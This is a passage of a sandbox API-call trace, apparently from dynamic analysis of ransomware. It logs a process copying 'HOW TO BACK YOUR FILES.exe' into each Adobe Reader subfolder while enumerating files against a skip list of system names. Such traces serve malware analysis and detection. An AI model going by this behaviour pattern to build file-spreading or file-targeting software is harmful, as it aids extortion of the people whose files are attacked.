	[0057.401] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker"
	[0057.401] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59abf0 | out: hHeap=0x580000) returned 1
	[0057.401] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7bc8 | out: hHeap=0x580000) returned 1
	[0057.401] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker") returned 55
	[0057.401] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker"
	[0057.401] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0057.401] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0057.409] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0057.409] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x801fc020, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3a495690, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3a495690, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0057.409] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0057.409] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0057.409] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0057.409] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x801fc020, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3a495690, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3a495690, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0057.412] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0057.412] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0057.412] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0057.412] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0057.412] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80222180, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x53a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="add_reviewer.gif", cAlternateFileName="ADD_RE~1.GIF")) returned 1
	[0057.412] lstrcmpiW (lpString1="add_reviewer.gif", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0057.412] lstrcmpiW (lpString1="add_reviewer.gif", lpString2="Apollon865.txt.exe") returned -1
	[0057.412] lstrcmpiW (lpString1="add_reviewer.gif", lpString2=".") returned 1
	[0057.412] lstrcmpiW (lpString1="add_reviewer.gif", lpString2="..") returned 1
	[0057.412] lstrcmpiW (lpString1="add_reviewer.gif", lpString2="windows") returned -1
	[0057.412] lstrcmpiW (lpString1="add_reviewer.gif", lpString2="bootmgr") returned -1
	[0057.412] lstrcmpiW (lpString1="add_reviewer.gif", lpString2="temp") returned -1
	[0057.412] lstrcmpiW (lpString1="add_reviewer.gif", lpString2="pagefile.sys") returned -1
	[0057.412] lstrcmpiW (lpString1="add_reviewer.gif", lpString2="boot") returned -1
	[0057.412] lstrcmpiW (lpString1="add_reviewer.gif", lpString2="ids.txt") returned -1
	[0057.412] lstrcmpiW (lpString1="add_reviewer.gif", lpString2="ntuser.dat") returned -1
	[0057.412] lstrcmpiW (lpString1="add_reviewer.gif", lpString2="perflogs") returned -1
	[0057.412] lstrcmpiW (lpString1="add_reviewer.gif", lpString2="MSBuild") returned -1
	[0057.412] lstrlenW (lpString="add_reviewer.gif") returned 16
	[0057.412] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\*") returned 57
	[0057.413] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\SPPlugins", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\SPPlugins") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\SPPlugins"
	[0057.413] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x591940 | out: hHeap=0x580000) returned 1
	[0057.413] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b88 | out: hHeap=0x580000) returned 1
	[0057.413] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\SPPlugins") returned 57
	[0057.413] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\SPPlugins" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\SPPlugins") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\SPPlugins"
	[0057.413] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0057.414] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\SPPlugins\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\spplugins\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0057.418] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0057.418] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\SPPlugins\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ffc0b80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3a4bb7f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3a4bb7f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0057.419] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0057.419] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0057.419] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0057.419] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ffc0b80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3a4bb7f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3a4bb7f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0057.419] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0057.419] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0057.419] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0057.419] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0057.419] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ffc0b80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x154e00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ADMPlugin.apl", cAlternateFileName="ADMPLU~1.APL")) returned 1
	[0057.419] lstrcmpiW (lpString1="ADMPlugin.apl", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0057.419] lstrcmpiW (lpString1="ADMPlugin.apl", lpString2="Apollon865.txt.exe") returned -1
	[0057.419] lstrcmpiW (lpString1="ADMPlugin.apl", lpString2=".") returned 1
	[0057.419] lstrcmpiW (lpString1="ADMPlugin.apl", lpString2="..") returned 1
	[0057.419] lstrcmpiW (lpString1="ADMPlugin.apl", lpString2="windows") returned -1
	[0057.419] lstrcmpiW (lpString1="ADMPlugin.apl", lpString2="bootmgr") returned -1
	[0057.419] lstrcmpiW (lpString1="ADMPlugin.apl", lpString2="temp") returned -1
	[0057.419] lstrcmpiW (lpString1="ADMPlugin.apl", lpString2="pagefile.sys") returned -1
	[0057.419] lstrcmpiW (lpString1="ADMPlugin.apl", lpString2="boot") returned -1
	[0057.419] lstrcmpiW (lpString1="ADMPlugin.apl", lpString2="ids.txt") returned -1
	[0057.419] lstrcmpiW (lpString1="ADMPlugin.apl", lpString2="ntuser.dat") returned -1
	[0057.419] lstrcmpiW (lpString1="ADMPlugin.apl", lpString2="perflogs") returned -1
	[0057.419] lstrcmpiW (lpString1="ADMPlugin.apl", lpString2="MSBuild") returned -1
	[0057.419] lstrlenW (lpString="ADMPlugin.apl") returned 13
	[0057.420] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\SPPlugins\\*") returned 59
	[0057.420] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services"
	[0057.420] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5918c0 | out: hHeap=0x580000) returned 1
	[0057.420] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a68 | out: hHeap=0x580000) returned 1
	[0057.420] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services") returned 56
	[0057.420] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services"
	[0057.420] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0057.420] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\services\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0057.425] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0057.425] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x820095e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3a4bb7f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3a4bb7f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0057.426] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0057.426] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0057.426] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0057.426] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x820095e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3a4bb7f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3a4bb7f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0057.426] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0057.426] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0057.426] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0057.426] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0057.426] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8202f740, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x101bc5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DEXShare.spi", cAlternateFileName="")) returned 1
	[0057.426] lstrcmpiW (lpString1="DEXShare.spi", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0057.426] lstrcmpiW (lpString1="DEXShare.spi", lpString2="Apollon865.txt.exe") returned 1
	[0057.426] lstrcmpiW (lpString1="DEXShare.spi", lpString2=".") returned 1
	[0057.426] lstrcmpiW (lpString1="DEXShare.spi", lpString2="..") returned 1
	[0057.426] lstrcmpiW (lpString1="DEXShare.spi", lpString2="windows") returned -1
	[0057.426] lstrcmpiW (lpString1="DEXShare.spi", lpString2="bootmgr") returned 1
	[0057.426] lstrcmpiW (lpString1="DEXShare.spi", lpString2="temp") returned -1
	[0057.426] lstrcmpiW (lpString1="DEXShare.spi", lpString2="pagefile.sys") returned -1
	[0057.426] lstrcmpiW (lpString1="DEXShare.spi", lpString2="boot") returned 1
	[0057.426] lstrcmpiW (lpString1="DEXShare.spi", lpString2="ids.txt") returned -1
	[0057.426] lstrcmpiW (lpString1="DEXShare.spi", lpString2="ntuser.dat") returned -1
	[0057.426] lstrcmpiW (lpString1="DEXShare.spi", lpString2="perflogs") returned -1
	[0057.426] lstrcmpiW (lpString1="DEXShare.spi", lpString2="MSBuild") returned -1
	[0057.426] lstrlenW (lpString="DEXShare.spi") returned 12
	[0057.426] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services\\*") returned 58
	[0057.426] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d"
	[0057.426] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x591840 | out: hHeap=0x580000) returned 1
	[0057.426] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a48 | out: hHeap=0x580000) returned 1
	[0057.426] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d") returned 58
	[0057.427] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d"
	[0057.427] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0057.427] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins3d\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0057.435] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0057.435] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dbbfec0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3a4e1950, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3a4e1950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0057.435] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0057.435] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0057.435] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0057.435] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dbbfec0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3a4e1950, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3a4e1950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0057.435] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0057.435] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0057.435] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0057.435] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0057.435] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dc0c180, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x86988, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="2d.x3d", cAlternateFileName="")) returned 1
	[0057.435] lstrcmpiW (lpString1="2d.x3d", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0057.435] lstrcmpiW (lpString1="2d.x3d", lpString2="Apollon865.txt.exe") returned -1
	[0057.435] lstrcmpiW (lpString1="2d.x3d", lpString2=".") returned 1
	[0057.435] lstrcmpiW (lpString1="2d.x3d", lpString2="..") returned 1
	[0057.435] lstrcmpiW (lpString1="2d.x3d", lpString2="windows") returned -1
	[0057.435] lstrcmpiW (lpString1="2d.x3d", lpString2="bootmgr") returned -1
	[0057.435] lstrcmpiW (lpString1="2d.x3d", lpString2="temp") returned -1
	[0057.435] lstrcmpiW (lpString1="2d.x3d", lpString2="pagefile.sys") returned -1
	[0057.435] lstrcmpiW (lpString1="2d.x3d", lpString2="boot") returned -1
	[0057.435] lstrcmpiW (lpString1="2d.x3d", lpString2="ids.txt") returned -1
	[0057.435] lstrcmpiW (lpString1="2d.x3d", lpString2="ntuser.dat") returned -1
	[0057.435] lstrcmpiW (lpString1="2d.x3d", lpString2="perflogs") returned -1
	[0057.436] lstrcmpiW (lpString1="2d.x3d", lpString2="MSBuild") returned -1
	[0057.436] lstrlenW (lpString="2d.x3d") returned 6
	[0057.436] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\*") returned 60
	[0057.436] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\prc", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\prc") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\prc"
	[0057.436] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0057.436] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a48 | out: hHeap=0x580000) returned 1
	[0057.436] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\prc") returned 62
	[0057.436] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\prc" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\prc") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\prc"
	[0057.436] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0057.436] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\prc\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins3d\\prc\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0057.441] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0057.441] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\prc\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dbbfec0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3a4e1950, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3a4e1950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0057.441] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0057.441] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0057.441] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0057.441] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dbbfec0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3a4e1950, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3a4e1950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0057.441] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0057.441] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0057.441] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0057.441] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0057.441] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a4e1950, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3a4e1950, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0057.442] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0057.442] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dbbfec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x131c4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MyriadCAD.otf", cAlternateFileName="MYRIAD~1.OTF")) returned 1
	[0057.442] lstrcmpiW (lpString1="MyriadCAD.otf", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0057.442] lstrcmpiW (lpString1="MyriadCAD.otf", lpString2="Apollon865.txt.exe") returned 1
	[0057.442] lstrcmpiW (lpString1="MyriadCAD.otf", lpString2=".") returned 1
	[0057.442] lstrcmpiW (lpString1="MyriadCAD.otf", lpString2="..") returned 1
	[0057.442] lstrcmpiW (lpString1="MyriadCAD.otf", lpString2="windows") returned -1
	[0057.442] lstrcmpiW (lpString1="MyriadCAD.otf", lpString2="bootmgr") returned 1
	[0057.442] lstrcmpiW (lpString1="MyriadCAD.otf", lpString2="temp") returned -1
	[0057.442] lstrcmpiW (lpString1="MyriadCAD.otf", lpString2="pagefile.sys") returned -1
	[0057.442] lstrcmpiW (lpString1="MyriadCAD.otf", lpString2="boot") returned 1
	[0057.442] lstrcmpiW (lpString1="MyriadCAD.otf", lpString2="ids.txt") returned 1
	[0057.442] lstrcmpiW (lpString1="MyriadCAD.otf", lpString2="ntuser.dat") returned -1
	[0057.442] lstrcmpiW (lpString1="MyriadCAD.otf", lpString2="perflogs") returned -1
	[0057.442] lstrcmpiW (lpString1="MyriadCAD.otf", lpString2="MSBuild") returned 1
	[0057.442] lstrlenW (lpString="MyriadCAD.otf") returned 13
